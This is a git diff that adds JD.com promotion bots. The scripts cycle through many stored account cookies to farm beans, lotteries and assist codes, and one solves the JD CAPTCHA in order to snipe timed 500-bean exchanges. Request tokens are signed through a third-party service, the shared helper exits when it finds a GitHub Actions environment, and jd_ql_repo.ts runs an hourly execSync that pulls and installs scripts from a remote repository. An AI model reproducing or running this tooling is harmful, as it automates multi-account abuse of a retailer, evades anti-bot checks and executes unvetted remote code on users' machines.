"jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + } +} +function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") + const r = url.match(reg) + if (r != null) return unescape(r[2]); + return null; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_ql_repo.ts b/jd_ql_repo.ts new file mode 100644 index 0000000000..1c363b999b --- /dev/null +++ b/jd_ql_repo.ts @@ -0,0 +1,11 @@ +/** + * ql repo JDHelloWorld + * cron: 0 * * * * + */ + +import {execSync} from "child_process"; + +if (process.env.HOSTNAME === 'qinglong') { + let exec: string = execSync('ql repo https://github.com/JDHelloWorld/jd_scripts.git "jd_|jx_" "backUp|update" "^jd[^_]|USER|^TS|utils"').toString() + console.log(exec) +} \ No newline at end of file diff --git a/jd_qq_pasture.ts b/jd_qq_pasture.ts new file mode 100644 index 0000000000..805a67d663 --- /dev/null +++ b/jd_qq_pasture.ts @@ -0,0 +1,189 @@ +import axios from 'axios'; +import USER_AGENT, {o2s, requireConfig, wait} from './TS_USER_AGENTS'; + +let cookie: string = '', res: any, shareCodes: string[] = [], UserName: string, index: number +let pin: string = '', uuid: string = '', shopId: string = '', tokenKey: string = '', token: string = '' + +!(async () => { + let cookiesArr: any = await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + console.log(`\n开始【京东账号${index}】${UserName}\n`); + + await getIsvToken(); + await getIsvToken2(); + await init(); + + res = await api('https://lzdz-isv.isvjcloud.com/dz/common/getSimpleActInfoVo', 'activityId=90121061401'); + shopId = res.data.shopId + console.log('shopId:', shopId) + + res = await api('https://lzdz-isv.isvjcloud.com/customer/getMyPing', `userId=1000361242&token=${token}&fromType=APP`) + pin = res.data.secretPin + console.log('pin:', pin) + + res = await api('myInfo', `activityId=90121061401&pin=${encodeURIComponent(pin)}`) + let foodLeft: number = res.data.bags[1].totalNum - res.data.bags[1].useNum + uuid = res.data.bags[0].uid + console.log('剩余饲料', foodLeft) + + for (let j = 0; j < 20; j++) { + res = await api('doTask', `taskId=interact&activityId=90121061401&pin=${encodeURIComponent(pin)}`) + if (res.result) { + console.log('互动成功', res.data.growUp) + await wait(7000) + } else { + console.log('互动失败', res) + break + } + } + /* + for (let t of res.data.task) { + if (t.type === 0 && t.maxNeed === 10000000) { + // 首页任务 + console.log(t.type, t.taskname) + res = await api('doTask', `taskId=${t.taskid}&activityId=90121061401&pin=${encodeURIComponent(pin)}`) + if (res.result) { + console.log(`${t.taskname}成功:${res.data.growUp}`) + } else { + console.log(res.errorMessage) + } + await wait(5000) + } + + if (t.curNum != t.need && t.type === 1) { + console.log(t.taskname) + if (t.taskid === 'signin') { + let signRes: any = await api("signin", `taskId=signin¶m=&activityId=90121061401&pin=${encodeURIComponent(pin)}`) + console.log('签到:', signRes) + } + if (t.taskid === 'scanvideo') { + let r: any = await api('doTask', `taskId=${t.taskid}&activityId=90121061401&pin=${encodeURIComponent(pin)}`) + await wait(1000) + } + if (t.taskid === 'scansku' || t.taskid === 'add2cart') { + let products: any = await api('getproduct', `type=${t.params}&activityId=90121061401&pin=${encodeURIComponent(pin)}`) + await wait(1000) + await api("doTask", `taskId=${t.taskid}¶m=${products.data[0].id}&activityId=90121061401&pin=${encodeURIComponent(pin)}`) + for (let p of products.data) { + console.log(p.id) + } + } + if (t.taskid === 'interact') { + for (let i = 0; i < t.maxNeed - t.curNum; i++) { + let playRes: any = await api('doTask', `taskId=${t.taskid}&activityId=90121061401&pin=${encodeURIComponent(pin)}`) + if (playRes.result) { + console.log('互动成功:', playRes.data.growUp) + } else { + console.log(res.errorMessage) + } + await wait(5000) + } + } + } + } + */ + + break + } +})() + +function api(fn: string, body: any) { + let url: string; + if (fn.indexOf('https://') > -1) { + url = fn + } else { + url = `https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/${fn}?_=${Date.now()}` + } + return new Promise(async resolve => { + let {data, headers}: any = await axios.post(url, typeof body === 'string' ? body : JSON.stringify(body) + , { + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity?activityId=90121061401', + 'User-Agent': USER_AGENT, + 'Accept': 'application/json', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'Cookie': cookie + } + }) + resolve(data); + reloadCookie(headers['set-cookie']) + }) +} + +async function getIsvToken() { + let body: string = await sign(); + let {data}: any = await axios.post(`https://api.m.jd.com/client.action?functionId=genToken`, body, { + headers: { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + 'user-agent': 'JD4iPhone/167863%20(iPhone;%20iOS;%20Scale/3.00)', + 'Cookie': cookie + } + }) + tokenKey = data.tokenKey; + return +} + +async function getIsvToken2() { + let body: string = await isvObfuscator(); + let {data}: any = await axios.post("https://api.m.jd.com/client.action?functionId=isvObfuscator", body, { + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + 'user-agent': 'JD4iPhone/167814 (iPhone; iOS 12.4.1; Scale/3.00)', + 'accept-language': 'zh-Hans-CN;q=1', + 'Cookie': cookie + } + }) + token = data.token; + return +} + +async function init() { + let {headers} = await axios.get("https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity?activityId=90121061401", { + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'User-Agent': USER_AGENT, + 'X-Requested-With': 'com.jingdong.app.mall', + 'Cookie': 'IsvToken=' + token + } + }) + reloadCookie(headers['set-cookie']) +} + +async function sign() { + let {data}: any = await axios.post("https://api.jds.codes/sign", {"fn": "genToken", "body": {"to": "https:\/\/lzdz-isv.isvjcloud.com\/dingzhi\/qqxing\/pasture\/activity?activityId=90121061401", "action": "to"}}) + return data.data.sign +} + + +async function isvObfuscator() { + let {data}: any = await axios.post("https://api.jds.codes/sign", {"fn": "isvObfuscator", "body": {"url": "https:\/\/lzdz-isv.isvjcloud.com", "id": ""}}) + return data.data.sign +} + +function reloadCookie(setCookie: string[]) { + let cookieArr: string[] = cookie.split(';') + cookieArr.pop(); + let cookieTEMP: any = {}; + for (let ck of cookieArr) + cookieTEMP[ck.split('=')[0]] = ck.match(/(pt_key|pt_pin|LZ_TOKEN_KEY|LZ_TOKEN_VALUE|AUTH_C_USER|lz_jdpin_token|IsvToken)=([^;]*)/)![2] + for (let ck of setCookie) { + ck = ck.split(';')[0] + cookieTEMP[ck.split('=')[0]] = ck.match(/(pt_key|pt_pin|LZ_TOKEN_KEY|LZ_TOKEN_VALUE|AUTH_C_USER|lz_jdpin_token|IsvToken)=([^;]*)/)![2] + } + cookie = '' + for (let ck in cookieTEMP) { + if (cookieTEMP.hasOwnProperty(ck)) { + cookie += `${ck}=${cookieTEMP[ck]};` + } + } +} \ No newline at end of file diff --git a/jd_reward.js b/jd_reward.js new file mode 100644 index 0000000000..2c2d5a148b --- /dev/null +++ b/jd_reward.js @@ -0,0 +1,211 @@ +"use strict"; +var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { + function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } + return new (P || (P = Promise))(function (resolve, reject) { + function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } + function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } + function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } + step((generator = generator.apply(thisArg, _arguments || [])).next()); + }); +}; +var __generator = (this && this.__generator) || function (thisArg, body) { + var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; + return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; + function verb(n) { return function (v) { return step([n, v]); }; } + function step(op) { + if (f) throw new TypeError("Generator is already executing."); + while (_) try { + if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; + if (y = 0, t) op = [op[0] & 2, t.value]; + switch (op[0]) { + case 0: case 1: t = op; break; + case 4: _.label++; return { value: op[1], done: false }; + case 5: _.label++; y = op[1]; op = [0]; continue; + case 7: op = _.ops.pop(); _.trys.pop(); continue; + default: + if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } + if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } + if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } + if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } + if (t[2]) _.ops.pop(); + _.trys.pop(); continue; + } + op = body.call(thisArg, _); + } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } + if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; + } +}; +exports.__esModule = true; +var axios_1 = require("axios"); +var ts_md5_1 = require("ts-md5"); +var date_fns_1 = require("date-fns"); +var sendNotify_1 = require("./sendNotify"); +var validate_single_1 = require("./utils/validate_single"); +var TS_USER_AGENTS_1 = require("./TS_USER_AGENTS"); +var cookie, tasks, UserName, validate = '', message = ''; +!(function () { return __awaiter(void 0, void 0, void 0, function () { + var j, h, config, _i, config_1, bean, j, e_1; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: + if (!process.argv[2]) return [3 /*break*/, 17]; + cookie = unescape(process.argv[2]); + if (!!validate) return [3 /*break*/, 2]; + return [4 /*yield*/, getValidate()]; + case 1: + validate = _a.sent(); + console.log('validate:', validate); + _a.label = 2; + case 2: + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)[1]); + console.log("\n\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7\u3011" + UserName + "\n"); + j = 0; + _a.label = 3; + case 3: + if (!(j < 10)) return [3 /*break*/, 7]; + console.log('init...'); + return [4 /*yield*/, init()]; + case 4: + tasks = _a.sent(); + if (tasks.data) + return [3 /*break*/, 7]; + return [4 /*yield*/, (0, TS_USER_AGENTS_1.wait)(200)]; + case 5: + _a.sent(); + _a.label = 6; + case 6: + j++; + return [3 /*break*/, 3]; + case 7: + h = new Date(tasks['currentTime']).getHours(); + config = void 0; + _a.label = 8; + case 8: + _a.trys.push([8, 15, , 16]); + if (h >= 0 && h < 8) + config = tasks.data['beanConfigs0']; + if (h >= 8 && h < 16) + config = tasks.data['beanConfigs8']; + if (h >= 16 && h < 24) + config = tasks.data['beanConfigs16']; + _i = 0, config_1 = config; + _a.label = 9; + case 9: + if (!(_i < config_1.length)) return [3 /*break*/, 14]; + bean = config_1[_i]; + console.log(bean.id, bean.giftName, bean.leftStock); + if (!(bean.giftValue === 500)) return [3 /*break*/, 13]; + j = 0; + _a.label = 10; + case 10: + if (!(j < 5)) return [3 /*break*/, 13]; + return [4 /*yield*/, exchange(bean.id)]; + case 11: + _a.sent(); + _a.label = 12; + case 12: + j++; + return [3 /*break*/, 10]; + case 13: + _i++; + return [3 /*break*/, 9]; + case 14: return [3 /*break*/, 16]; + case 15: + e_1 = _a.sent(); + console.log('beanConfigs Error'); + return [3 /*break*/, 16]; + case 16: return [3 /*break*/, 18]; + case 17: + console.log('未收到Cookie'); + _a.label = 18; + case 18: + if (!message) return [3 /*break*/, 20]; + return [4 /*yield*/, (0, sendNotify_1.sendNotify)('宠汪汪500', message)]; + case 19: + _a.sent(); + _a.label = 20; + case 20: return [2 /*return*/]; + } + }); +}); })(); +function getValidate() { + return __awaiter(this, void 0, void 0, function () { + var v; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: return [4 /*yield*/, new validate_single_1.JDJRValidator().run()]; + case 1: + v = _a.sent(); + return [2 /*return*/, v.validate]; + } + }); + }); +} +function init() { + return __awaiter(this, void 0, void 0, function () { + var lkt, lks, data; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: + lkt = new Date().getTime().toString(); + lks = ts_md5_1.Md5.hashStr('' + 'q8DNJdpcfRQ69gIx' + lkt); + return [4 /*yield*/, axios_1["default"].get("https://jdjoy.jd.com/common/gift/getBeanConfigs?reqSource=h5&invokeKey=q8DNJdpcfRQ69gIx&validate=" + validate, { + headers: { + 'lkt': lkt, + 'lks': lks, + 'Host': 'jdjoy.jd.com', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': TS_USER_AGENTS_1["default"], + 'Origin': 'https://h5.m.jd.com', + 'Cookie': cookie + } + })]; + case 1: + data = (_a.sent()).data; + return [2 /*return*/, data]; + } + }); + }); +} +function exchange(beanId) { + return __awaiter(this, void 0, void 0, function () { + var lkt, lks, data; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: + if (!1) return [3 /*break*/, 4]; + if (!(new Date().getSeconds() < 15)) return [3 /*break*/, 1]; + return [3 /*break*/, 4]; + case 1: return [4 /*yield*/, (0, TS_USER_AGENTS_1.wait)(100)]; + case 2: + _a.sent(); + _a.label = 3; + case 3: return [3 /*break*/, 0]; + case 4: + lkt = new Date().getTime(); + console.log('exchange()', (0, date_fns_1.format)(lkt, 'hh:mm:ss:SSS')); + lks = ts_md5_1.Md5.hashStr('' + 'q8DNJdpcfRQ69gIx' + lkt); + return [4 /*yield*/, axios_1["default"].post("https://jdjoy.jd.com/common/gift/new/exchange?reqSource=h5&invokeKey=q8DNJdpcfRQ69gIx&validate=" + validate, JSON.stringify({ "buyParam": { "orderSource": 'pet', "saleInfoId": beanId }, "deviceInfo": {} }), { + headers: { + "Host": "jdjoy.jd.com", + "Content-Type": "application/json", + "Origin": "https://jdjoy.jd.com", + "reqSource": "h5", + "User-Agent": TS_USER_AGENTS_1["default"], + "Referer": "https://jdjoy.jd.com/pet/index", + "Cookie": cookie, + 'lkt': lkt.toString(), + 'lks': lks + } + })]; + case 5: + data = (_a.sent()).data; + console.log(data); + if (data.errorCode === 'buy_success') { + message += UserName + ' 500 Yes!\n'; + } + return [2 /*return*/]; + } + }); + }); +} diff --git a/jd_sgmh.js b/jd_sgmh.js new file mode 100644 index 0000000000..f6b6fd1f91 --- /dev/null +++ b/jd_sgmh.js @@ -0,0 +1,343 @@ +/* +闪购盲盒 +长期活动,一人每天5次助力机会,10次被助机会,被助力一次获得一次抽奖机会,前几次必中京豆 +修改自 @yangtingxiao 抽奖机脚本 +活动入口:京东APP首页-闪购-闪购盲盒 +网页地址:https://h5.m.jd.com/babelDiy/Zeus/3vzA7uGuWL2QeJ5UeecbbAVKXftQ/index.html +更新地址:jd_sgmh.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#闪购盲盒 +20 8 * * * jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 8 * * *" script-path=jd_sgmh.js, tag=闪购盲盒 + +===============Surge================= +闪购盲盒 = type=cron,cronexp="20 8 * * *",wake-system=1,timeout=3600,script-path=jd_sgmh.js + +============小火箭========= +闪购盲盒 = type=cron,script-path=jd_sgmh.js, cronexpr="20 8 * * *", timeout=3600, enable=true + + */ +const $ = new Env('闪购盲盒'); + +console.log('\n====================Hello World====================\n') + +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let appId = '1EFRXxg' , homeDataFunPrefix = 'interact_template', collectScoreFunPrefix = 'harmony', message = '' +let lotteryResultFunPrefix = homeDataFunPrefix, browseTime = 6 +const inviteCodes = ['']; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + $.beans = 0 + message = '' + await shareCodesFormat(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await interact_template_getHomeData() + await showMsg(); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +//获取活动信息 +function interact_template_getHomeData(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + console.log(data.data.bizMsg); + return + } + scorePerLottery = data.data.result.userInfo.scorePerLottery||data.data.result.userInfo.lotteryMinusScore + if (data.data.result.raiseInfo&&data.data.result.raiseInfo.levelList) scorePerLottery = data.data.result.raiseInfo.levelList[data.data.result.raiseInfo.scoreLevel]; + //console.log(scorePerLottery) + for (let i = 0;i < data.data.result.taskVos.length;i ++) { + console.log("\n" + data.data.result.taskVos[i].taskType + '-' + data.data.result.taskVos[i].taskName + '-' + (data.data.result.taskVos[i].status === 1 ? `已完成${data.data.result.taskVos[i].times}-未完成${data.data.result.taskVos[i].maxTimes}` : "全部已完成")) + //签到 + if (data.data.result.taskVos[i].taskName === '邀请好友助力') { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.taskVos[i].assistTaskDetailVo.taskToken}\n`); + for (let code of $.newShareCodes) { + if (!code) continue + await harmony_collectScore(code, data.data.result.taskVos[i].taskId); + await $.wait(2000) + } + } + else if (data.data.result.taskVos[i].status === 3) { + console.log('开始抽奖') + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + else if ([0,13].includes(data.data.result.taskVos[i].taskType)) { + if (data.data.result.taskVos[i].status === 1) { + await harmony_collectScore(data.data.result.taskVos[i].simpleRecordInfoVo.taskToken,data.data.result.taskVos[i].taskId); + } + } + else if ([14,6].includes(data.data.result.taskVos[i].taskType)) { + //console.log(data.data.result.taskVos[i].assistTaskDetailVo.taskToken) + for (let j = 0;j <(data.data.result.userInfo.lotteryNum||0);j++) { + if (appId === "1EFRTxQ") { + await ts_smashGoldenEggs() + } else { + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + } + } + let list = data.data.result.taskVos[i].productInfoVos || data.data.result.taskVos[i].followShopVo || data.data.result.taskVos[i].shoppingActivityVos || data.data.result.taskVos[i].browseShopVo + for (let k = data.data.result.taskVos[i].times; k < data.data.result.taskVos[i].maxTimes; k++) { + for (let j in list) { + if (list[j].status === 1) { + //console.log(list[j].simpleRecordInfoVo||list[j].assistTaskDetailVo) + console.log("\n" + (list[j].title || list[j].shopName||list[j].skuName)) + //console.log(list[j].itemId) + if (list[j].itemId) { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId,list[j].itemId,1); + if (k === data.data.result.taskVos[i].maxTimes - 1) await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } else { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId) + } + list[j].status = 2; + break; + } + } + } + } + if (scorePerLottery) await interact_template_getLotteryResult(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) 